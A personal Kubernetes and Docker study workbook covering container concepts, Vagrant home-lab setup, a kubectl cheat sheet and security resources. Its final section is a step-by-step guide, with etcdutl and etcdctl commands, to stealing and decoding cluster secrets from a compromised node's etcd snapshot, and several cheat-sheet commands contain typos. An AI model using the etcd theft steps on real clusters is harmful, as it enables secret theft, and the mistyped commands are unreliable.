Kubernetes workbook: Home Lab and K8-Goat

- What is a container
- container image is a lightweight, stand-alone, executable package of a piece of software that includes everything needed to run it: code, runtime, system tools, system libraries, settings.
- Available for both Linux and Windows based apps, containerized software will always run the same, regardless of the environment.
- Containers isolate software from its surroundings, for example differences between development and staging environments and help reduce conflicts between teams running different software on the same infrastructure.
- What is docker?
- Docker is the world’s leading software container platform. Ie there are other solutions for managing Containers, Docker just happens to be the most popular.
- It’s an open platform for developing, shipping and running applications. Developers use Docker to eliminate “works on my machine” problems when collaborating on code with co-workers.
- Operators use Docker to run and manage apps side-by-side in isolated containers to get better compute density.
- Enterprises use Docker to build agile software delivery pipelines to ship new features faster, more securely and with confidence for both Linux and Windows Server apps.
- Docker Architecture
- Docker Client
- Run commands
- Docker Daemon
- images
- containers
- networks
- volumes
- Docker Registry
- Stores images
- What is Kubernetes?
- “Kubernetes is an open source system for automating deployment, scaling, and management of containerized applications,” according to the Cloud Native Computing Foundation (CNCF).
- Project that was spun out of Google as an open source container orchestration platform. Builds on 15 years of experience at Google in a project called borg.
- Kubernetes is quickly becoming the new standard for deploying and managing software in the cloud.
- Designed from the ground-up as a loosely coupled collection of components centered around deploying, maintaining and scaling workloads.
- Deploy your applications quickly and predictablyScale your applications on the fly
- Seamlessly roll out new features
- Optimize use of your hardware by using only the resources you need
- Kubernetes Architecture
- Control Plane – controls the cluster and makes it function. Consists of multiple components that can run on a single node or split across multiple nodes
- Each Node is managed by the Master. A Node can have multiple pods, and the Kubernetes master automatically handles scheduling the pods across the Nodes in the cluster. The Master’s automatic scheduling takes into account the available resources on each Node.
- Every Kubernetes Node runs at least:
- Kubelet, a process responsible for communication between the Kubernetes Master and the Nodes; it manages the Pods and the containers running on a machine.
- A container runtime (like Docker) responsible for pulling the container image from a Registry, unpacking the container, and running the application.
- Pods
- Kubernetes doesn’t run containers directly, instead it wraps one or more containers into a higher-level structure called a pod.
- A runnable unit of work It can be just one container, or multiple related containers
- Any containers in the same pod will share the same resources and local network.
- Kubernetes connects pods to the network and the cluster environment. pods are scaled up and down as a unit,
- Master Node
- API Server – front-end of the cluster that services REST operations and connects to the etc database.
- Scheduler – schedules pods on specific nodes based on labels, taints and tolerations set for the pods.
- Controller Manager – manages current state of the cluster. Performs cluster-level functions, such as replicating components, keeping track of worker nodes, handling node failures, and so on
- Etcd: A reliable distributed data store (B+tree key-value store) that persistently stores the cluster configuration
- Worker Node
- Kubelet – An agent that runs on each node in the cluster. It passes requests to the container engine to ensure that Pods are available
- Kube-proxy – is a network proxy that runs on each node in your cluster, implementing part of the Kubernetes Service concept.
- Container Runtime – The container runtime is the software that is responsible for running containers. Kubernetes supports several container runtimes: Docker, containerd, cri-o, rktlet and any implementation of the Kubernetes CRI (Container Runtime Interface).
- Pods – Atomic unit or smallest “unit of work”of Kubernetes. They are logical groupings of Containers on a single host. A single Pod typically constitutes a working ‘app’
Typing commands into a terminal to install a Operating System, Applications or even Kubernetes is so old, what are you born in 2023. Meh.
This is a vagrant script to build your own K8 environment for learning purposes and testing K8 security vulnerabilities.
WARNING
Please make sure you understand the security implications of using Vagrant images, these images are generated by the community and uploaded to https://app.vagrantup.com/boxes/search.
Anyone can create these images and easily make then malicious to breakout to the host. Use at your own risk, better yet, build and upload your own images to Vagrant Cloud.
Vagrant is also opensource and very buggy, I have had deployments that were working fine and for whatever reason after a OS update or Vagrant update, there was a known bug that made the deployment useless.
Use Bento and build your own images.
You can even use your own dropbox as per this example
ruby
Vagrant.configure(“2”) do |config|
config.vm.box = “cloudstack-simulator”
config.vm.box_url = “https://dl.dropboxusercontent.com/u/4153969/PromptWorks/cloudstack-simulator.box”
config.vm.network “private_network”, ip: “10.0.123.101”
config.vm.provider “virtualbox” do |vbox|
vbox.memory = 2048
end
end
Architecting Kubernetes Home Lab
Minikube
K3S
- https://k3s.io/
- https://carbonblack.vmware.com/resource/architecting-your-kubernetes-home-lab#procedure
- Kubernetes
MicroK8
Kubenomicon
Kubernetes Goat
DokPloy
KIND
- kind is a tool for running local Kubernetes clusters using Docker container “nodes”. kind was primarily designed for testing Kubernetes itself, but may be used for local development or CI https://kind.sigs.k8s.io/
- Vagrant-KinD – https://github.com/boldandbusted/vagrant-kind-
- vagrant-box-bionic64-kind https://github.com/galvarado/vagrant-box-bionic64-kind
- Kubernetes Cluster Setup Using Vagrant and Kind –https://kartaca.com/en/kubernetes-cluster-setup-using-vagrant-and-kind/
- Creating a Local Kubernetes Cluster with Vagrant —https://ugurakgul.medium.com/creating-a-local-kubernetes-cluster-with-vagrant-ba591ab70ee2
- Automated Kubernetes Cluster Setup on Vagrant –https://www.linkedin.com/pulse/automated-kubernetes-cluster-setup-vagrant-bibin-wilson/
- MicroK8 – https://carbonblack.vmware.com/resource/architecting-your-kubernetes-home-lab#microk8s-installation
Research
- Evaluation Workshop for Container Security –https://carbonblack.vmware.com/resource/evaluation-workshop-container-security#overview
- Architecting your Kubernetes Home Lab – https://carbonblack.vmware.com/resource/architecting-your-kubernetes-home-lab
- https://dev.to/mattdark/using-docker-as-provider-for-vagrant-10me
- https://github.com/0pens0/cb_demos
- https://medium.com/pictet-technologies-blog/replace-docker-desktop-on-macos-with-vagrant-and-virtual-box-c93d6ac240e1
- https://dev.to/mattdark/using-docker-as-provider-for-vagrant-10me
Install Docker CLI
brew install vagrant
brew install docker
brew install docker-compose
brew install vagrant-manager
vagrant plugin install docker
vagrant plugin list
vagrant up –provider=docker
Vagrantfile
Vagrant.configure("2") do |config|
config.vm.box = "tknerr/baseimage-ubuntu-22.04"
config.vm.provision "docker" do |d|
d.run "ubuntu",
cmd: "bash -l",
args: "-v '/vagrant:/var/www'"
end
end
Deployment scenarios.

Labs
If you want to learn Docker and Kubernetes, seriously don’t waste your time reading documentation or searching ‘What is kubernetes’ it will just lead to to people explaining high level rubbish, if you want to learn the highly complex technology, guess what you need to get hands. Here is a plan;
- Run Docker example
- Run MiniKube
- Run Public Cloud

Kubernets Cheat sheets Commands
alias k=kubetcl
k version
kubectl delete pod nginx --grace-period=0 --force
if [ ! -d `/tmp ]; then mnkdir -p /~tmp; fi; while true; do echo$(date) >> ~/tmp/data.txt; sleep 5; done;
kubetcl describe pods |grep -C 10 "author-John Doe"
kubectl get pods -o yaml | grep -C 5 labels:
kubectl get pods -A | grep interset
kubectl -n ArcSight_Namespace logs -f InterSet_Analytcis_Pod_Name -c interset-analytics 3. kubectl -n arcsight-installer-ojju3 logs -f interset-analytics-5c5db758c9-5xstw -c interset-analytics
gcloud container clusters get-credentials cluster-1 --zone eyrope-west2 - b --project acg1-206211
kubectl get pods -A | grep interset
kubeadmin config images pull
kubectl get all
kubectl get apiservices
kubetcl get nodes
kubectl get api-resources
kubectl get service, pod, deployment -n [namespace]
kubectl get namespace
kubectl config current-context
kubectl cluter-info
minikube version
minikube start --wait=false
kubectl cluster-inf
kubectl get nodes
kubectl get pods
kubectl expose deployment first-deployment --port=80 --type=NodePort
export PORT=$(kubectl get svc first-deployment -o go-template='{{range.spec.ports}}{{if .nodePort}}{{.nodePort}}{{"\n"}}{{end}}{{end}}')
echo "Accessing host01:$PORT"
curl host01:$PORT
minikube addons enable dashboard
kubectl apply -f /opt/kubernetes-dashboard.yaml
kubectl get pods -n kubernetes-dashboard -w
~/.kube/config
—help
https://2886795283-30000-ollie07.environments.katacoda.com/
You can bootstrap a cluster as follows:
1. Initializes cluster master node:
kubeadm init --apiserver-advertise-address $(hostname -i) --pod-network-cidr 10.5.0.0/16
2. Initialize cluster networking:
kubectl apply -f https://raw.githubusercontent.com/cloudnativelabs/kube-router/master/daemonset/kubeadm-kuberouter.yaml
3. (Optional) Create an nginx deployment:
kubectl apply -f https://raw.githubusercontent.com/kubernetes/website/master/content/en/examples/application/nginx-app.yaml
minikube version
minikube start --wait=false
kubectl cluster-inf
kubectl get nodes
kubectl get pods
kubectl expose deployment first-deployment --port=80 --type=NodePort
export PORT=$(kubectl get svc first-deployment -o go-template='{{range.spec.ports}}{{if .nodePort}}{{.nodePort}}{{"\n"}}{{end}}{{end}}')
echo "Accessing host01:$PORT"
curl host01:$PORT
minikube addons enable dashboard
kubectl apply -f /opt/kubernetes-dashboard.yaml
kubectl get pods -n kubernetes-dashboard -w
~/.kube/config
—help
cdf-exec
kubectl get namesspaces
kubectl get nodes
kubectl describe node [node] | less
Tools
- k9s
- https://www.kubeflow.org/
- https://k9scli.io/
- Rancher
- Portainer
- Argo CD – https://argo-cd.readthedocs.io/en/stable/
- CloudStack
- Openstack
- RKE2 – https://docs.rke2.io/install/quickstart
- K3S – https://docs.k3s.io/installation
Kubernetes Threat Matrix
- OWASP Kubernetes Top Ten – https://owasp.org/www-project-kubernetes-top-ten/
- Kubenomicon – https://kubenomicon.com/
- CIS-CAT for Kurbernetes – https://www.cisecurity.org/benchmark/kubernetes
- 🚀 Kubernetes Goat Scenarios – https://madhuakula.com/kubernetes-goat/docs/scenarios
- Insecure Kubernetes – https://github.com/latiotech/insecure-kubernetes-deployments
Kubernetes Dump Secrets

Want to hack Kubernetes? Here is a cheatsheet on how to plunder the etcd database that stores the state of a Kubernetes Cluster as well as all the secrets your cluster uses. When secrets are applied to the cluster (via something like kubectl apply -f secret.yaml), they are then stored in etcd. So retrieving secrets with kubectl get secrets is actually retrieving them from etcd on the backend
The best part? By default it's not encrypted!
1. Steal the etcd database by making a snapshot of it after compromising the node (note: node compromise may not be needed if you have some other way to access etcd) Here is a script to do so. https://lnkd.in/ezzbUxvT
2. Transfer the etcd snapshot out of the node. This can be done in a million different ways, but scp is usually the easiest.
3. Unpack the database into a directory. In this case the "restore" directory
mkdir -p restore ; etcdutl snapshot restore etcd-loot-backup.db \ --data-dir ./restore
4. Start etcd on your local machine and point it to your stolen snapshot
etcd \ --data-dir=./restore \ --initial-cluster=state=existing \ --snapshot='./etcd-loot-backup.db'
5. List all the secrets in the cluster
etcdctl get "" --prefix --keys-only | grep secret
Then you can get your specific secret and base64 decode it.
etcdctl get /registry/secrets/default/my-secret
Research
- https://kubenomicon.com/
- https://www.kubeflow.org/
- Awesome Kubernetes
- Learning labs